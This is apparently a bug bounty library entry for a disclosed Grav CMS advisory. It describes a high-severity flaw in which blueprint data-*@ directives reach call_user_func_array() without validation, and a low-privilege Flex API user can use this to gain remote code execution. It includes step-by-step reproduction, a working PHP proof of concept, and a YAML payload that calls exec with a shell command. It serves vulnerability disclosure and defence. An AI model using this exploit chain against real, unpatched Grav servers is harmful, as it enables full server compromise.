# Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

Grav's FlexDirectory::dynamicDataField() passed blueprint data-*@: directives straight to call_user_func_array(), letting a user with only create rights on one Flex directory run shell commands.

- Payout: Research
- Severity: high
- Program: Grav
- Found by (vendor credit): haftoe
- Found by: haftoe
- Disclosed: 2026-09-17
- CVE: CVE-2026-65608
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c4wf-2xxc-68qm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c4wf-2xxc-68qm
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:access-control vuln:command-injection vuln:rce

**Target:** Flex directory blueprint dynamic data handler (PHP admin/API)
**Root cause:** FlexDirectory::getBlueprint() registers a 'data' dynamic handler that calls dynamicDataField(), which invokes call_user_func_array() on the blueprint-supplied function after only an is_callable() check, bypassing the isSafeDynamicCall() denylist added to Blueprint::dynamicData() in 2.0.7.
**Steps:**
1. Install Grav 2.0.8 with admin and flex-objects plugins; run `php -S localhost:8000 system/router.php`.
2. Add a field to an active Flex blueprint (e.g. blueprints/flex-objects/contacts.yaml) with `data-test@:` set to `[exec, "id > /tmp/grav_http_rce_proof.txt 2>&1"]`.
3. Register the directory in user/config/plugins/flex-objects.yaml under `directories:`.
4. Create an account with only `api.access: true` and `api.contacts.create: true` (super_admin false).
5. Send `POST /api/v1/flex-objects/contacts` with that account's JWT; response is HTTP 201 and the proof file contains `id` output.
**How found:** Noticed the 2.0.7 fix for GHSA-fj2p-qj2f-74v5 only patched Blueprint::dynamicData(), then traced Blueprint::init()'s handler-first dispatch and found FlexDirectory::getBlueprint() registers a separate 'data' handler that never received the isSafeDynamicCall() check; verified via git diff that 2.0.8 code is unchanged.
**Exploitation:** Any authenticated user holding create/update on a single Flex directory triggers blueprint init() via FlexApiController::create()/save(), which dispatches the data-*@: directive to dynamicDataField() and executes the attacker-chosen callable (exec/system/passthru/shell_exec) as the web server user.
**Escalation:** Low-privilege directory-scoped create permission escalates to full server RCE; the same path applies to core Flex Users/Flex Pages types.
**Insight:** When a security fix adds validation to one dispatch path, grep for every addDynamicHandler()/handler registration that routes to a parallel implementation of the same sink — handler-first dispatch silently bypasses the patched fallback method.

## Proof of concept (copied exactly from the original report)

**PHP script calling dynamicDataField with exec**

```
<?php
require 'vendor/autoload.php';

use Grav\Common\Data\Blueprint;
use Grav\Framework\Flex\FlexDirectory;

$proofFile = '/tmp/grav_rce_proof.txt';

// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,
// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().
// No trampoline gadget needed here. dynamicDataField() performs zero validation
// on $function.
$items = [
    'fields' => [
        'myfield' => [
            'type' => 'text',
            'data-test@' => ['exec', "id > $proofFile 2>&1"],
        ],
    ],
];

$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic

// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data'
// handler. This is exactly what FlexDirectory::getBlueprint() does for every
// Flex directory in production.
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
    $method->invoke($flexDirectoryInstance, $field, $property, $call);
});

$blueprint->init();

echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";
```

**Blueprint YAML field with data-test exec directive**

```
pocfield:
      type: text
      label: PoC Field
      data-test@:
        - exec
        - "id > /tmp/grav_http_rce_proof.txt 2>&1"
```

**Low-privilege account permission config**

```
access:
  admin:
    login: true
  api:
    access: true
    contacts:
      create: true
```

